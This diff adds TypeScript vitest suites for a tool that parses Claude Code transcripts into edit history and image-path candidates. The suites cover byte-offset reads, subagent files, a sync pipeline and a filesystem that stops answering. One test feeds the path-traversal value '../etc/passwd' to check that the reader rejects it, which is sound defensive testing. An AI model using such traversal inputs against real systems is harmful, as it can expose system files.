const createData = await createRes.json();
expect(createData.success).toBe(true);
+165
View File
@@ -0,0 +1,165 @@
/**
* Local edit-source reader against a temp projects dir: the transcript lookup, byte-offset
* reads of the main transcript and its subagents, and the image probe.
*/
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import { mkdirSync, mkdtempSync, rmSync, utimesSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
findClaudeTranscript,
probeLocalPaths,
readClaudeEditSources,
resolveClaudeTranscript,
} from '../src/edit-history-local-source.js';
let root: string;
beforeEach(() => {
root = mkdtempSync(join(tmpdir(), 'edit-src-'));
});
afterEach(() => {
rmSync(root, { recursive: true, force: true });
});
function put(rel: string, content: string | Buffer, mtimeSec?: number): string {
const path = join(root, rel);
mkdirSync(join(path, '..'), { recursive: true });
writeFileSync(path, content);
if (mtimeSec) utimesSync(path, mtimeSec, mtimeSec);
return path;
}
describe('findClaudeTranscript', () => {
it('returns null when no transcript exists under any id', async () => {
put('p/other.jsonl', 'x\n');
expect(await findClaudeTranscript(['sid'], root)).toBeNull();
expect(await findClaudeTranscript(['sid'], join(root, 'missing'))).toBeNull();
});
it('takes the first id that has a transcript, the newest one across project dirs', async () => {
put('a/sid.jsonl', 'old\n', 1000);
const newest = put('b/sid.jsonl', 'new\n', 2000);
put('c/second.jsonl', 'x\n');
expect(await findClaudeTranscript(['bad id!', 'sid', 'second'], root)).toBe(newest);
});
});
describe('resolveClaudeTranscript', () => {
it('takes the watcher path (what the hooks reported) as is', async () => {
expect(await resolveClaudeTranscript('/hooked/conv.jsonl', ['sid'], join(root, 'cfg'))).toBe('/hooked/conv.jsonl');
});
it("without one, looks under the session's own claude config dir", async () => {
const path = put('cfg/projects/p/sid.jsonl', 'x\n');
expect(await resolveClaudeTranscript(null, ['sid'], join(root, 'cfg'))).toBe(path);
expect(await resolveClaudeTranscript(undefined, ['other'], join(root, 'cfg'))).toBeNull();
});
});
describe('readClaudeEditSources', () => {
it('returns null for a missing file or a path that is not an absolute <id>.jsonl', async () => {
const path = put('p/sid.jsonl', 'x\n');
expect(await readClaudeEditSources(join(root, 'p/gone.jsonl'), [], 100)).toBeNull();
expect(await readClaudeEditSources('p/sid.jsonl', [], 100)).toBeNull();
expect(await readClaudeEditSources(path.replace('.jsonl', '.txt'), [], 100)).toBeNull();
expect(await readClaudeEditSources(put('p/bad id.jsonl', 'x\n'), [], 100)).toBeNull();
});
it('names the conversation after the file', async () => {
const res = await readClaudeEditSources(put('p/conv-1.jsonl', 'x\n'), [], 100);
expect(res?.transcriptId).toBe('conv-1');
});
it('reads a new file from its end within the budget, a requested one from its offset', async () => {
const path = put('p/sid.jsonl', '0123456789');
const fresh = await readClaudeEditSources(path, [], 4);
expect(fresh?.files).toEqual([{ relPath: 'main', size: 10, startOffset: 6, chunk: Buffer.from('6789') }]);
const cont = await readClaudeEditSources(path, [{ relPath: 'main', offset: 3, len: 2 }], 100);
expect(cont?.files[0]).toMatchObject({ startOffset: 3, chunk: Buffer.from('34') });
});
it('clamps an offset past the end to the size (a replaced, shorter file)', async () => {
const path = put('p/sid.jsonl', 'abc');
const res = await readClaudeEditSources(path, [{ relPath: 'main', offset: 50 }], 100);
expect(res?.files[0]).toMatchObject({ size: 3, startOffset: 3, chunk: Buffer.alloc(0) });
});
it('lists subagents with their meta for new ones only, and shares the budget main first', async () => {
const path = put('p/sid.jsonl', 'MAIN');
put('p/sid/subagents/agent-a1.jsonl', 'AAAA');
put('p/sid/subagents/agent-a1.meta.json', '{"description":"Fix it"}');
put('p/sid/subagents/agent-b2.jsonl', 'BBBB');
put('p/sid/subagents/agent-b2.meta.json', '{"description":"Other"}');
put('p/sid/subagents/notes.txt', 'ignored');
const res = await readClaudeEditSources(path, [{ relPath: 'subagents/agent-b2.jsonl', offset: 0 }], 6);
expect(res?.files.map((f) => [f.relPath, f.startOffset, f.chunk.toString()])).toEqual([
['main', 0, 'MAIN'],
['subagents/agent-a1.jsonl', 2, 'AA'],
['subagents/agent-b2.jsonl', 0, ''],
]);
expect(res?.metas).toEqual({ a1: '{"description":"Fix it"}' });
});
it('ignores invalid requests', async () => {
const path = put('p/sid.jsonl', 'abcdef');
const res = await readClaudeEditSources(
path,
[
{ relPath: '../etc/passwd', offset: 0 },
{ relPath: 'main', offset: -1 },
],
3
);
// The invalid main request is dropped, so main is read like a new file.
expect(res?.files[0]).toMatchObject({ startOffset: 3, chunk: Buffer.from('def') });
});
it('keeps multibyte bytes intact (byte offsets, not string lengths)', async () => {
const path = put('p/sid.jsonl', Buffer.from('äöü\n', 'utf8'));
const res = await readClaudeEditSources(path, [{ relPath: 'main', offset: 2 }], 100);
expect(res?.files[0].chunk).toEqual(Buffer.from('äöü\n', 'utf8').subarray(2));
});
it('with onlyRequested, reads the requested files and nothing else', async () => {
const path = put('p/sid.jsonl', 'MAIN');
put('p/sid/subagents/agent-a1.jsonl', 'AAAA');
put('p/sid/subagents/agent-b2.jsonl', 'BBBB');
const res = await readClaudeEditSources(path, [{ relPath: 'subagents/agent-b2.jsonl', offset: 1, len: 2 }], 100, {
onlyRequested: true,
});
expect(res?.files.map((f) => [f.relPath, f.startOffset, f.chunk.toString()])).toEqual([
['subagents/agent-b2.jsonl', 1, 'BB'],
]);
});
it('reads the end of a block that does not fit the budget', async () => {
const path = put('p/sid.jsonl', '0123456789');
const res = await readClaudeEditSources(path, [{ relPath: 'main', offset: 2, len: 6 }], 3);
expect(res?.files[0]).toMatchObject({ startOffset: 5, chunk: Buffer.from('567') });
});
});
describe('probeLocalPaths', () => {
it('reports size and mtime of files, expands ~/ against home, null for missing and directories', async () => {
put('home/img.png', 'PNG!', 1_700_000_000);
mkdirSync(join(root, 'dir'));
const res = await probeLocalPaths(['~/img.png', join(root, 'dir'), join(root, 'nope.png')], join(root, 'home'));
expect(res[0]).toEqual({ realPath: join(root, 'home/img.png'), kind: 'file', size: 4, mtimeMs: 1_700_000_000_000 });
expect(res[1]).toBeNull();
expect(res[2]).toBeNull();
});
it('touches a path only after the bounded probe saw a file there', async () => {
put('a.png', 'PNG!', 1_700_000_000);
put('b.png', 'PNG!', 1_700_000_000);
const asked: string[] = [];
const res = await probeLocalPaths([join(root, 'a.png'), join(root, 'b.png'), 'rel.png'], root, async (p) => {
asked.push(p);
return p.endsWith('a.png') ? 'unknown' : 'file';
});
// a.png exists, but its filesystem did not answer the bounded probe: no unbounded stat.
expect(res.map((r) => r?.realPath ?? null)).toEqual([null, join(root, 'b.png'), null]);
expect(asked).toEqual([join(root, 'a.png'), join(root, 'b.png')]); // relative: never probed
});
});
+420
View File
@@ -0,0 +1,420 @@
/**
* Edit history parser: claude transcript lines → edit records and Bash image candidates.
* Fixture lines mirror real transcript records (Claude Code 2.1.300), trimmed to the
* fields the parser reads plus the bulky ones it must ignore (`originalFile`, `content`).
*/
import { describe, expect, it } from 'vitest';
import {
classifyEditPath,
extractImagePathCandidates,
MAX_HUNK_BYTES,
MAX_IMAGE_CANDIDATES,
MAX_PENDING_BASH,
MAX_PENDING_COMMAND_CHARS,
MAX_PENDING_FIELD_CHARS,
parseClaudeEditLines,
} from '../src/edit-history-parse.js';
const CWD = '/work/repo';
function toolResultLine(id: string, ts: string, toolUseResult: unknown, extra: Record<string, unknown> = {}): string {
return JSON.stringify({
type: 'user',
isSidechain: false,
timestamp: ts,
cwd: CWD,
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: 'ok' }] },
toolUseResult,
...extra,
});
}
function bashUseLine(id: string, ts: string, command: string, extra: Record<string, unknown> = {}): string {
return JSON.stringify({
type: 'assistant',
isSidechain: false,
timestamp: ts,
cwd: CWD,
message: { role: 'assistant', content: [{ type: 'tool_use', id, name: 'Bash', input: { command } }] },
...extra,
});
}
const hunk = (lines: string[]) => ({ oldStart: 3, oldLines: 2, newStart: 3, newLines: 3, lines });
const editLine = toolResultLine('toolu_edit', '2026-10-15T19:01:28.880Z', {
filePath: '/work/repo/src/app.ts',
oldString: 'a',
newString: 'b',
originalFile: 'x'.repeat(5000),
structuredPatch: [hunk([' keep', '-old', '+new', '+added'])],
userModified: false,
replaceAll: false,
});
describe('parseClaudeEditLines: edits', () => {
it('turns an Edit result into a record without the whole-file fields', () => {
const { records } = parseClaudeEditLines(editLine + '\n');
expect(records).toEqual([
{
id: 'toolu_edit',
ts: Date.parse('2026-10-15T19:01:28.880Z'),
path: '/work/repo/src/app.ts',
kind: 'code',
tool: 'Edit',
created: false,
added: 2,
removed: 1,
hunks: [hunk([' keep', '-old', '+new', '+added'])],
truncated: false,
},
]);
expect(JSON.stringify(records)).not.toContain('xxxxx');
});
it('reads replaceAll edits like any other Edit', () => {
const line = toolResultLine('toolu_all', '2026-10-15T19:02:00.000Z', {
filePath: '/work/repo/a.ts',
oldString: 'x',
newString: 'y',
originalFile: '',
structuredPatch: [hunk(['-x', '+y']), { ...hunk(['-x', '+y']), oldStart: 9, newStart: 9 }],
userModified: false,
replaceAll: true,
});
const [rec] = parseClaudeEditLines(line).records;
expect(rec).toMatchObject({ tool: 'Edit', added: 2, removed: 2 });
expect(rec.hunks).toHaveLength(2);
});
it('marks a Write that created the file, and one that replaced it', () => {
const create = toolResultLine('toolu_c', '2026-10-15T19:03:00.000Z', {
type: 'create',
filePath: '/work/repo/new.md',
content: 'hello\nworld',
structuredPatch: [],
originalFile: null,
});
const update = toolResultLine('toolu_u', '2026-10-15T19:04:00.000Z', {
type: 'update',
filePath: '/work/repo/new.md',
content: 'hi',
structuredPatch: [hunk(['-hello', '-world', '+hi'])],
originalFile: 'hello\nworld',
});
const { records } = parseClaudeEditLines([create, update].join('\n'));
expect(records.map((r) => [r.tool, r.created, r.added, r.removed])).toEqual([
['Write', true, 2, 0],
['Write', false, 1, 2],
]);
expect(records[0].hunks).toEqual([
{ oldStart: 0, oldLines: 0, newStart: 1, newLines: 2, lines: ['+hello', '+world'] },
]);
});
it('a created file’s diff drops the trailing newline and is capped like any hunk', () => {
const big = 'x'.repeat(1000) + '\n';
const line = toolResultLine('toolu_big', '2026-10-15T19:03:30.000Z', {
type: 'create',
filePath: '/work/repo/big.txt',
content: big.repeat(100),
structuredPatch: [],
originalFile: null,
});
const [rec] = parseClaudeEditLines(line).records;
expect(rec.added).toBe(100);
expect(rec.truncated).toBe(true);
expect(rec.hunks[0].lines.length).toBeLessThan(100);
expect(rec.hunks[0].lines.every((l) => l === '+' + 'x'.repeat(1000))).toBe(true);
});
it('classifies an image written by Write as an image', () => {
const line = toolResultLine('toolu_svg', '2026-10-15T19:05:00.000Z', {
type: 'create',
filePath: '/work/repo/icon.SVG',
content: '<svg/>',
structuredPatch: [],
originalFile: null,
});
expect(parseClaudeEditLines(line).records[0].kind).toBe('image');
});
it('keeps a result of an unknown edit tool that has a path and a patch', () => {
const line = toolResultLine('toolu_nb', '2026-10-15T19:06:00.000Z', {
filePath: '/work/repo/n.ipynb',
structuredPatch: [hunk(['+cell'])],
});
expect(parseClaudeEditLines(line).records[0]).toMatchObject({ tool: 'edit', added: 1 });
});
it('skips failed tool results (a string), unrelated results and lines that do not parse', () => {
const failed = toolResultLine('toolu_err', '2026-10-15T19:07:00.000Z', 'Error: String to replace not found');
const read = toolResultLine('toolu_read', '2026-10-15T19:07:01.000Z', { type: 'text', file: { filePath: '/x' } });
const text = [failed, read, '{"type":"user",broken', '', 'not json'].join('\n');
expect(parseClaudeEditLines(text).records).toEqual([]);
});
it('skips a first line cut mid-record (a byte range starts inside it)', () => {
const cut = editLine.slice(40);
expect(parseClaudeEditLines(cut + '\n' + editLine).records).toHaveLength(1);
});
it('carries the subagent id of a sidechain line', () => {
const line = toolResultLine('toolu_sub', '2026-10-15T19:08:00.000Z', JSON.parse(editLine).toolUseResult, {
isSidechain: true,
agentId: 'a0038561ea4d57a42',
});
expect(parseClaudeEditLines(line).records[0].agentId).toBe('a0038561ea4d57a42');
});
it('caps an oversized patch and says so, counting lines from the whole patch', () => {
const big = Array.from({ length: 4000 }, (_, i) => `+line ${i} ${'y'.repeat(40)}`);
const line = toolResultLine('toolu_big', '2026-10-15T19:09:00.000Z', {
type: 'create',
filePath: '/work/repo/big.ts',
content: '',
structuredPatch: [hunk(big)],
originalFile: null,
});
const [rec] = parseClaudeEditLines(line).records;
expect(rec.truncated).toBe(true);
expect(rec.added).toBe(4000);
expect(JSON.stringify(rec.hunks).length).toBeLessThanOrEqual(MAX_HUNK_BYTES + 1024);
expect(rec.hunks[0].lines.length).toBeLessThan(4000);
});
});
describe('parseClaudeEditLines: Bash image candidates', () => {
const start = '2026-10-15T20:00:00.000Z';
const end = '2026-10-15T20:00:05.000Z';
it('pairs a Bash call with its result and collects image paths from command and output', () => {
const use = bashUseLine('toolu_b', start, 'python3 render.py --out out/frame.png');
const res = toolResultLine('toolu_b', end, {
stdout: 'Saved to: file:///tmp/gen/a b.png\nwrote /work/repo/out/thumb.webp.',
stderr: '',
interrupted: false,
isImage: false,
});
const { candidates, pending } = parseClaudeEditLines([use, res].join('\n'));
expect(pending).toEqual([]);
expect(candidates).toEqual([
{
toolUseId: 'toolu_b',
start: Date.parse(start),
end: Date.parse(end),
paths: ['/work/repo/out/frame.png', '/tmp/gen/a b.png', '/work/repo/out/thumb.webp'],
},
]);
});
it('yields no candidate for a Bash call without image paths', () => {
const use = bashUseLine('toolu_n', start, 'git status');
const res = toolResultLine('toolu_n', end, { stdout: 'clean', stderr: '', interrupted: false, isImage: false });
expect(parseClaudeEditLines([use, res].join('\n')).candidates).toEqual([]);
});
it('uses the tool_result text when the Bash call failed (toolUseResult is a string)', () => {
const use = bashUseLine('toolu_f', start, 'make render');
const res = JSON.stringify({
type: 'user',
timestamp: end,
cwd: CWD,
message: {
role: 'user',
content: [{ tool_use_id: 'toolu_f', type: 'tool_result', is_error: true, content: 'Exit 2\nwrote out/x.jpg' }],
},
toolUseResult: 'Error: Exit 2',
});
expect(parseClaudeEditLines([use, res].join('\n')).candidates[0].paths).toEqual(['/work/repo/out/x.jpg']);
});
it('hands an unanswered Bash call back as pending and resolves it in the next chunk', () => {
const first = parseClaudeEditLines(bashUseLine('toolu_p', start, 'convert a.svg out.png') + '\n');
expect(first.candidates).toEqual([]);
expect(first.pending).toEqual([
{ id: 'toolu_p', ts: Date.parse(start), command: 'convert a.svg out.png', cwd: CWD },
]);
const res = toolResultLine('toolu_p', end, { stdout: '', stderr: '', interrupted: false, isImage: false });
const second = parseClaudeEditLines(res, first.pending);
expect(second.pending).toEqual([]);
expect(second.candidates[0].paths).toEqual(['/work/repo/a.svg', '/work/repo/out.png']);
});
it('carries the subagent id onto the candidate', () => {
const use = bashUseLine('toolu_s', start, 'render > shot.png', { isSidechain: true, agentId: 'abc' });
const res = toolResultLine('toolu_s', end, { stdout: '', stderr: '', interrupted: false, isImage: false });
expect(parseClaudeEditLines([use, res].join('\n')).candidates[0].agentId).toBe('abc');
});
it('bounds the pending list, dropping the oldest', () => {
const lines = Array.from({ length: MAX_PENDING_BASH + 5 }, (_, i) =>
bashUseLine(`toolu_${i}`, start, 'sleep 1')
).join('\n');
const { pending } = parseClaudeEditLines(lines);
expect(pending).toHaveLength(MAX_PENDING_BASH);
expect(pending[0].id).toBe('toolu_5');
});
it(`keeps no call with an id, cwd or agent id over ${MAX_PENDING_FIELD_CHARS} characters (the store would refuse it on load)`, () => {
const long = 'x'.repeat(MAX_PENDING_FIELD_CHARS + 1);
const lines = [
bashUseLine(long, start, 'render > a.png'),
bashUseLine('toolu_cwd', start, 'render > a.png', { cwd: '/' + long }),
bashUseLine('toolu_agent', start, 'render > a.png', { agentId: long }),
bashUseLine('toolu_ok', start, 'render > a.png', { cwd: '/' + 'x'.repeat(MAX_PENDING_FIELD_CHARS - 1) }),
];
expect(parseClaudeEditLines(lines.join('\n')).pending.map((p) => p.id)).toEqual(['toolu_ok']);
});
it('keeps only the head of a long command (the pending list is persisted)', () => {
const command = 'render > out.png && ' + 'x'.repeat(MAX_PENDING_COMMAND_CHARS * 2);
const { pending } = parseClaudeEditLines(bashUseLine('toolu_long', start, command));
expect(pending[0].command).toBe(command.slice(0, MAX_PENDING_COMMAND_CHARS));
});
});
describe('parseClaudeEditLines: images sent to the user', () => {
it('takes the image attachments of a SendUserFile result, absolute paths only, without a window', () => {
const line = toolResultLine(
'toolu_send',
'2026-10-15T20:50:12.538Z',
{
caption: 'Vier Alternativen',
attachments: [
{ path: '/tmp/s/icons/bremse_alt1_pedal.png', file_uuid: 'x' },
{ path: '/tmp/s/icons/bremse_alt1_pedal.png' },
{ path: '/tmp/s/report.pdf' },
{ path: 'relative.png' },
{ nope: 1 },
],
},
{ agentId: 'a1' }
);
const { candidates, records } = parseClaudeEditLines(line);
expect(records).toEqual([]);
const at = Date.parse('2026-10-15T20:50:12.538Z');
expect(candidates).toEqual([
{
toolUseId: 'toolu_send',
start: at,
end: at,
paths: ['/tmp/s/icons/bremse_alt1_pedal.png'],
sent: true,
agentId: 'a1',
},
]);
});
});
describe('extractImagePathCandidates', () => {
it('keeps a colon inside a file:// path (timestamped names)', () => {
expect(extractImagePathCandidates('', 'Saved to file:///tmp/plot-12:30.png', '', CWD)).toEqual([
'/tmp/plot-12:30.png',
]);
});
it('resolves relative paths against cwd and keeps ~/ paths literal', () => {
expect(extractImagePathCandidates('cp a.png ../b.jpeg ~/shots/c.gif', '', '', CWD)).toEqual([
'/work/repo/a.png',
'/work/b.jpeg',
'~/shots/c.gif',
]);
});
it('reads quoted paths with spaces', () => {
expect(extractImagePathCandidates(`magick "in dir/x.png" 'out dir/y.avif'`, '', '', CWD)).toEqual([
'/work/repo/in dir/x.png',
'/work/repo/out dir/y.avif',
]);
});
it('ignores URLs, globs and names that only contain an image extension', () => {
const cmd = 'curl https://x.org/a.png; ls *.png out/frame-?.png; mv a.png.bak b.pngx; echo c.png';
expect(extractImagePathCandidates(cmd, '', '', CWD)).toEqual(['/work/repo/c.png']);
});
it('splits key=value and trailing punctuation off', () => {
expect(extractImagePathCandidates('render --out=out/a.png', 'done (out/b.png), see out/c.png.', '', CWD)).toEqual([
'/work/repo/out/a.png',
'/work/repo/out/b.png',
'/work/repo/out/c.png',
]);
});
it('deduplicates and caps the list', () => {
const many = Array.from({ length: MAX_IMAGE_CANDIDATES + 10 }, (_, i) => `f${i}.png`).join(' ');
const out = extractImagePathCandidates(`a.png a.png ${many}`, '', '', CWD);
expect(out).toHaveLength(MAX_IMAGE_CANDIDATES);
expect(out[0]).toBe('/work/repo/a.png');
expect(out[1]).toBe('/work/repo/f0.png');
});
it('drops relative paths when cwd is unknown', () => {
expect(extractImagePathCandidates('x.png /abs/y.png', '', '', '')).toEqual(['/abs/y.png']);
});
});
describe('extractImagePathCandidates: linear in the line length (#693 review)', () => {
// Claude Code keeps up to 30,000 characters of Bash output, all of it agent-printed, and the
// scan runs synchronously in the request. Before the fix one such line took ~2.7 s.
const N = 30_000;
// Generous: the gated suite runs at nice 19 next to the live service. Linear is ~1 ms.
const BUDGET_MS = 1000;
const timed = (text: string) => {
const t = performance.now();
const out = extractImagePathCandidates('render', text, '', CWD);
return { out, ms: performance.now() - t };
};
const base64 = Buffer.from(Array.from({ length: (N * 3) / 4 }, (_, i) => (i * 131 + 7) & 255)).toString('base64');
it.each([
...'#+%@![{^:/a.~-$'.split('').map((c) => [`30,000 × ${c}`, c.repeat(N)] as const),
['a base64 blob', base64] as const,
['repeated file:///', 'file:///'.repeat(N / 8)] as const,
['repeated file:///x', 'file:///x'.repeat(N / 9)] as const,
['repeated file:///a:', 'file:///a:'.repeat(N / 10)] as const,
['file:/// then 30,000 characters', 'file:///' + 'a'.repeat(N)] as const,
['an unclosed quote', '"' + 'a'.repeat(N)] as const,
['repeated =a', '=a'.repeat(N / 2)] as const,
])('%s stays under the time budget and still finds a path after it', (_label, line) => {
const { out, ms } = timed(`${line}\nsaved out/plot.png`);
expect(ms).toBeLessThan(BUDGET_MS);
expect(out).toContain('/work/repo/out/plot.png');
});
it('parses a chunk of 139 Bash results with a 30,000-character base64 blob each under budget', () => {
const lines: string[] = [];
for (let i = 0; i < 139; i++) {
lines.push(bashUseLine(`toolu_${i}`, '2026-10-15T20:00:00.000Z', 'cat img.b64'));
lines.push(
toolResultLine(`toolu_${i}`, '2026-10-15T20:00:01.000Z', {
stdout: base64,
stderr: '',
interrupted: false,
isImage: false,
})
);
}
const t = performance.now();
parseClaudeEditLines(lines.join('\n'));
expect(performance.now() - t).toBeLessThan(3000); // 6.6 s before the fix
});
});
describe('classifyEditPath', () => {
it.each([
['/a/b.png', 'image'],
['/a/b.JPG', 'image'],
['/a/b.jpeg', 'image'],
['/a/b.webp', 'image'],
['/a/b.gif', 'image'],
['/a/b.avif', 'image'],
['/a/b.svg', 'image'],
['/a/b.ts', 'code'],
['/a/png', 'code'],
['/a/b.png.orig', 'code'],
])('%s → %s', (path, kind) => {
expect(classifyEditPath(path)).toBe(kind);
});
});
+214
View File
@@ -0,0 +1,214 @@
/**
* Edit history end to end: the real reader (edit-history-local-source.ts), sync and store on
* temp transcripts: what the fakes in edit-history-sync.test.ts cannot show (file order,
* a new conversation next to the old one, every line read exactly once).
*/
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import { appendFileSync, existsSync, mkdirSync, mkdtempSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { readClaudeEditSources } from '../src/edit-history-local-source.js';
import { EditHistoryStore } from '../src/edit-history-store.js';
import { EditHistorySync, MAX_FORWARD_PASSES, type EditHistorySession } from '../src/web/edit-history-sync.js';
let root: string;
const opened: EditHistoryStore[] = [];
beforeEach(() => {
root = mkdtempSync(join(tmpdir(), 'edit-pipeline-'));
});
afterEach(async () => {
await Promise.all(opened.splice(0).map((s) => s.remove()));
rmSync(root, { recursive: true, force: true });
});
const T0 = Date.parse('2026-10-15T20:00:00.000Z');
/** One edit result line of `pad` bytes or more, newline included. */
function editLine(id: string, i: number, pad = 0, agentId?: string): string {
const rec: Record<string, unknown> = {
type: 'user',
timestamp: new Date(T0 + i * 1000).toISOString(),
cwd: '/w',
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: 'ok' }] },
toolUseResult: {
filePath: `/w/${id}.ts`,
oldString: 'a',
newString: 'b',
structuredPatch: [{ oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines: ['-a', '+b'] }],
},
pad: '',
};
if (agentId) rec.agentId = agentId;
rec.pad = 'p'.repeat(Math.max(0, pad - JSON.stringify(rec).length - 1));
return JSON.stringify(rec) + '\n';
}
function setup(budget?: number, base = root) {
const project = join(base, 'projects', 'p');
mkdirSync(project, { recursive: true });
const at = (transcriptId: string) => join(project, `${transcriptId}.jsonl`);
/** The transcript watcher's path (the hooks report it; `/clear` moves it). */
let current = at('convA');
const sync = new EditHistorySync({
transcriptPath: async () => (existsSync(current) ? current : null),
readSources: (_session, path, requests, budget, opts) => readClaudeEditSources(path, requests, budget, opts),
probe: async (_session, paths) => paths.map(() => null),
loadStore: async (id) => {
const store = await EditHistoryStore.load(id, { dir: join(base, 'store'), debounceMs: 10 });
opened.push(store);
return store;
},
deleteStore: (id) => EditHistoryStore.delete(id, { dir: join(base, 'store') }),
sweepStores: async () => 0,
budget,
});
const session: EditHistorySession = { id: 's1', mode: 'claude', remote: undefined, claudeSessionId: 'convA' };
const ids = async () =>
(await sync.getStore('s1'))
.list()
.map((e) => e.id)
.sort();
return {
project,
at,
sync,
session,
ids,
switchTo: (transcriptId: string) => (current = at(transcriptId)),
};
}
describe('a new conversation (/clear, resume)', () => {
it('reads the previous transcript to its end before the new one', async () => {
const { at, sync, session, ids, switchTo } = setup();
appendFileSync(at('convA'), editLine('a1', 1));
await sync.sync(session);
// The turn's last edits land, then /clear before the panel's debounced re-read.
appendFileSync(at('convA'), editLine('a2', 2) + editLine('a3', 3));
switchTo('convB');
appendFileSync(at('convB'), editLine('b1', 4));
await sync.sync(session);
expect(await ids()).toEqual(['a1', 'a2', 'a3', 'b1']);
const store = await sync.getStore('s1');
expect(store.getTranscriptId()).toBe('convB');
expect(store.knownSources()).toEqual(['main']);
});
it('a previous backlog larger than one sync reads on with the next ones; the new transcript follows', async () => {
const { at, sync, session, ids, switchTo } = setup(600);
appendFileSync(at('convA'), editLine('a0', 0));
await sync.sync(session);
const backlog = Array.from({ length: MAX_FORWARD_PASSES * 3 }, (_, i) => `a${i + 1}`);
appendFileSync(at('convA'), backlog.map((id, i) => editLine(id, i + 1, 500)).join(''));
switchTo('convB');
appendFileSync(at('convB'), editLine('b1', 99));
await sync.sync(session);
expect(await ids()).not.toContain('b1');
for (let i = 0; i < 5; i++) await sync.sync(session);
expect(await ids()).toEqual(['a0', ...backlog, 'b1'].sort());
});
it('subagents of the previous conversation are read to their end too', async () => {
const { project, at, sync, session, ids, switchTo } = setup();
const sub = join(project, 'convA', 'subagents');
mkdirSync(sub, { recursive: true });
appendFileSync(at('convA'), editLine('a1', 1));
appendFileSync(join(sub, 'agent-x.jsonl'), editLine('x1', 2, 0, 'x'));
await sync.sync(session);
appendFileSync(join(sub, 'agent-x.jsonl'), editLine('x2', 3, 0, 'x'));
switchTo('convB');
appendFileSync(at('convB'), editLine('b1', 4));
await sync.sync(session);
expect(await ids()).toEqual(['a1', 'b1', 'x1', 'x2']);
});
it('a previous transcript that is gone does not hold up the new one', async () => {
const { at, sync, session, ids, switchTo } = setup();
appendFileSync(at('convA'), editLine('a1', 1));
await sync.sync(session);
rmSync(at('convA'));
switchTo('convB');
appendFileSync(at('convB'), editLine('b1', 2));
await sync.sync(session);
expect(await ids()).toEqual(['a1', 'b1']);
});
it('"Load older" before the forward read moved on reads the stored conversation, not the new file', async () => {
const { at, sync, session, ids, switchTo } = setup(600);
const older = Array.from({ length: 4 }, (_, i) => `a${i}`);
appendFileSync(at('convA'), older.map((id, i) => editLine(id, i, 500)).join(''));
await sync.sync(session);
expect(await ids()).toEqual(['a3']);
switchTo('convB');
appendFileSync(at('convB'), editLine('b1', 99));
await sync.sync(session, { older: true });
expect(await ids()).toEqual(['a2', 'a3']);
});
});
describe('every line exactly once (seeded random transcripts)', () => {
/** Deterministic: a seed fixes budget, line lengths, subagents, partial writes and sync points. */
async function run(seed: number): Promise<string | null> {
let state = seed;
const rnd = () => {
state = (state * 1103515245 + 12345) & 0x7fffffff;
return state / 0x7fffffff;
};
const ri = (a: number, b: number) => a + Math.floor(rnd() * (b - a + 1));
const budget = ri(400, 1500);
const { project, at, sync, session } = setup(budget, mkdtempSync(join(root, 'run-')));
const main = at('convA');
const subDir = join(project, 'convA', 'subagents');
const expected = new Set<string>();
const tooLong = new Set<string>();
const agents: string[] = [];
const tails = new Map<string, string>();
let n = 0;
const write = () => {
if (rnd() < 0.15 && agents.length < 6) {
mkdirSync(subDir, { recursive: true });
agents.push(`a${agents.length}`);
}
const k = ri(0, agents.length);
const agent = k === 0 ? undefined : agents[k - 1];
const file = agent ? join(subDir, `agent-${agent}.jsonl`) : main;
const id = `e${n++}`;
// Some lines are longer than the budget: skipped, never shown, never blocking.
const line = editLine(id, n, rnd() < 0.12 ? ri(budget + 2, budget * 3) : ri(250, budget - 2), agent);
if (Buffer.byteLength(line) < budget) expected.add(id);
else if (Buffer.byteLength(line) > budget) tooLong.add(id);
// Sometimes half a line: claude is still writing it.
const cut = rnd() < 0.15 ? ri(1, line.length - 1) : line.length;
appendFileSync(file, (tails.get(file) ?? '') + line.slice(0, cut));
if (cut < line.length) tails.set(file, line.slice(cut));
else tails.delete(file);
};
for (let i = ri(0, 20); i > 0; i--) write(); // backlog before the panel opens
if (!existsSync(main)) appendFileSync(main, '');
for (let r = ri(5, 25); r > 0; r--) {
for (let i = ri(0, 6); i > 0; i--) write();
await sync.sync(session);
}
for (const [file, rest] of tails) appendFileSync(file, rest);
for (let i = 0; i < 40; i++) await sync.sync(session);
const store = await sync.getStore('s1');
for (let clicks = 0; store.backfillTruncated && clicks < 400; clicks++) await sync.sync(session, { older: true });
const got = new Set(store.list().map((e) => e.id));
const missing = [...expected].filter((id) => !got.has(id));
const extra = [...got].filter((id) => tooLong.has(id));
if (missing.length || extra.length || store.backfillTruncated) {
return `seed ${seed} (budget ${budget}): missing ${missing.join(',')} extra ${extra.join(',')}`;
}
return null;
}
it('reads every line shorter than the budget once, forward and back, and none longer', async () => {
const failures: string[] = [];
for (let seed = 1; seed <= 40; seed++) {
await Promise.all(opened.splice(0).map((s) => s.remove()));
const r = await run(seed);
if (r) failures.push(r);
}
expect(failures).toEqual([]);
});
});
+106
View File
@@ -0,0 +1,106 @@
/**
* Edit history image probe against a filesystem that stopped answering (#693 review): a Bash
* call printed a path on a dead hard mount, whose stat() never settles. The real sync with the
* real probe (`probeLocalPaths` → bounded `probePathKind`) must still finish, the next queued
* sync too, and `remove()` must not wait on it. Own file: the stalled probe stays recorded
* process-wide for the rest of the run.
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
const DEAD = '/mnt/dead-nas';
vi.hoisted(() => {
process.env.CODEMAN_PATH_PROBE_TIMEOUT_MS = '100';
});
vi.mock('node:fs/promises', async (importOriginal) => {
const real = await importOriginal<typeof import('node:fs/promises')>();
const hangs = (p: unknown) => String(p).startsWith('/mnt/dead-nas');
const stat = ((p: Parameters<typeof real.stat>[0], ...rest: unknown[]) =>
hangs(p) ? new Promise(() => {}) : (real.stat as (...a: unknown[]) => unknown)(p, ...rest)) as typeof real.stat;
const realpath = ((p: Parameters<typeof real.realpath>[0], ...rest: unknown[]) =>
hangs(p)
? new Promise(() => {})
: (real.realpath as (...a: unknown[]) => unknown)(p, ...rest)) as typeof real.realpath;
return { ...real, stat, realpath, default: { ...real, stat, realpath } };
});
